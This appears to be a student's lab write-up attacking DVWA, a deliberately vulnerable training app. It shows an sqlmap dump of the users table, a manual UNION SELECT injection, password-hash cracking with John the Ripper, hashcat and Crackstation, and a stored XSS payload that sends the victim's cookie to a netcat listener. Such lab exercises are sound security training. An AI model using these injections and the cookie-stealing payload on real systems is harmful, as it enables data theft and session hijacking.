Password con sqlmap

```
┌──(alessio㉿kali)-[~]
└─$ sqlmap 192.168.49.101/dvwa/vulnerabilities/sqli/?id=1\&Submit=Submit --cookie="PHPSESSID=33dca6df3dfc03316341299
3b1ad0bbe; security=high" -D dvwa -T users --dump-all -level 1 -p id --proxy="http://127.0.0.1:8080" --batch
```

```
[05:44:24] [INFO] table 'dvwa.guestbook' dumped to CSV file '/home/alessio/.local/share/sqlmap/output/192.168.49.101/dump/dvwa/guestbook.csv'
[05:44:24] [INFO] fetching columns for table 'users' in database 'dvwa'
[05:44:24] [INFO] fetching entries for table 'users' in database 'dvwa'
[05:44:24] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[05:44:24] [INFO] using hash method 'md5_generic_passwd'
[05:44:24] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[05:44:24] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[05:44:24] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[05:44:24] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
| user_id | user    | avatar                                                | password                         | last_name | first_name |
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+
| 1       | admin   | http://172.16.123.129/dvwa/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      |
| 2       | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     |
| 3       | 1337    | http://172.16.123.129/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       |
| 4       | pablo   | http://172.16.123.129/dvwa/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      |
| 5       | smithy  | http://172.16.123.129/dvwa/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        |
+---------+---------+-------------------------------------------------------+----------------------------------+-----------+------------+

[05:44:24] [INFO] table 'dvwa.users' dumped to CSV file '/home/alessio/.local/share/sqlmap/output/192.168.49.101/dump/dvwa/users.csv'
[05:44:24] [INFO] fetched data logged to text files under '/home/alessio/.local/share/sqlmap/output/192.168.49.101'
```

```
| password
+----------------------------------+
| 5f4dcc3b5aa765d61d8327deb882cf99 (password)
| e99a18c428cb38d5f260853678922e03 (abc123)
| 8d3533d75ae2c3966d7e0d4fcc69216b (charley)
| 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)
| 5f4dcc3b5aa765d61d8327deb882cf99 (password)
+----------------------------------+
```

Selezione manuale

Submit

```
ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: admin

ID: 1' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
```

```
Open                                   *passHash.txt
                                       ~/Desktop/Esercizi/Week6/Day3
1 5f4dcc3b5aa765d61d8327deb882cf99
2 e99a18c428cb38d5f260853678922e03
3 8d3533d75ae2c3966d7e0d4fcc69216b
4 0d107d09f5bbe40cade3de5c71e9e9b7
5 5f4dcc3b5aa765d61d8327deb882cf99
```

John the Ripper

```
┌──(alessio㉿kali)-[~/Desktop/Esercizi/Week6/Day3]
└─$ john passHash.txt --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4×3])
Warning: no OpenMP support for this hash type, consider --fork=4
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password         (?)
password         (?)
abc123           (?)
letmein          (?)
Proceeding with incremental:ASCII
charley          (?)
5g 0:00:00:00 DONE 3/3 (2023-03-01 07:06) 26.31g/s 937673p/s 937673c/s 941715C/s stevy13..chertsu
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

┌──(alessio㉿kali)-[~/Desktop/Esercizi/Week6/Day3]
└─$
```

Hashcat

```
┌──(alessio㉿kali)-[~/Desktop/Esercizi/Week6/Day3]
└─$ hashcat -m 0 -a 0 passHash.txt /usr/share/metasploit-framework/data/wordlists/password.lst
hashcat (v6.2.6) starting
```

```
e99a18c428cb38d5f260853678922e03:abc123
8d3533d75ae2c3966d7e0d4fcc69216b:charley
0d107d09f5bbe40cade3de5c71e9e9b7:letmein

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: passHash.txt
Time.Started.....: Wed Mar  1 07:19:53 2023 (0 secs)
Time.Estimated...: Wed Mar  1 07:19:53 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/metasploit-framework/data/wordlists/password.lst)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2604.7 kH/s (0.16ms) @ Accel:512 Loops:1 Thr:1 Vec:4
Recovered........: 4/4 (100.00%) Digests (total), 3/4 (75.00%) Digests (new)
Progress.........: 45056/88397 (50.97%)
Rejected.........: 0/45056 (0.00%)
Restore.Point....: 43008/88397 (48.65%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: langston → loonies
Hardware.Mon.#1..: Util:  7%

Started: Wed Mar  1 07:19:52 2023
Stopped: Wed Mar  1 07:19:54 2023

┌──(alessio㉿kali)-[~/Desktop/Esercizi/Week6/Day3]
└─$
```

Crackstation

Enter up to 20 non-salted hashes, one per line:

```
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
```

I'm not a robot reCAPTCHA Privacy - Terms

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults

Hash	Type	Result
5f4dcc3b5aa765d61d8327deb882cf99	md5	password
e99a18c428cb38d5f260853678922e03	md5	abc123
8d3533d75ae2c3966d7e0d4fcc69216b	md5	charley
0d107d09f5bbe40cade3de5c71e9e9b7	md5	letmein
5f4dcc3b5aa765d61d8327deb882cf99	md5	password

XSS statico

```
"3" maxlength="555"></textarea> == $0
```

Questo mi permette di bypassare la lunghezza del testo

Vulnerability: Stored Cross Site Scripting (XSS)

Name * prova

Message * <script>window.open("http://192.168.50.100:4444/?cookie=" + document.cookie)</script>

Sign Guestbook

```
┌──(alessio㉿kali)-[~]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.50.100] from 192.168.50.100 [192.168.50.100] 50852
GET /?cookie=security=low;%20PHPSESSID=3c74276eaed0cf61f833f2aa8044392d HTTP/1.1
Host: 192.168.50.100:4444
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,applicatio
n/signed-exchange;v=b3;q=0.9
Referer: http://192.168.49.101/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
```